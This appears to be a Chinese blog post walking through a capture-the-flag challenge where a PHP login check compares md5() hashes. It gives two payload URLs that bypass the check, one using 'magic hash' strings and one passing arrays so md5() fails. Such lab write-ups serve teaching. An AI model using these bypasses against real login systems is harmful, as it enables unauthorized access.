版权声明:原创 多崎巡礼,未经许可禁止转载! https://blog.csdn.net/qq_42357070/article/details/81984504
md5()函数
http://120.24.86.145:9009/18.php
看代码意思就知道,用户名密码不能一样,且两者md5加密后值一样
这样就很简单了,直接将240610708和QNKCDZO分别对上述赋值即可。
即:http://120.24.86.145:9009/18.php?username[]=240610708&&password[]=QNKCDZO
关于赋值,不懂的此处可参考
https://blog.csdn.net/qq_42357070/article/details/81283153
方法二:就是md5()方法无法处理数组,直接构造payload:
username[]=1&password[]=2
即:http://120.24.86.145:9009/18.php?username[]=1&&password[]=2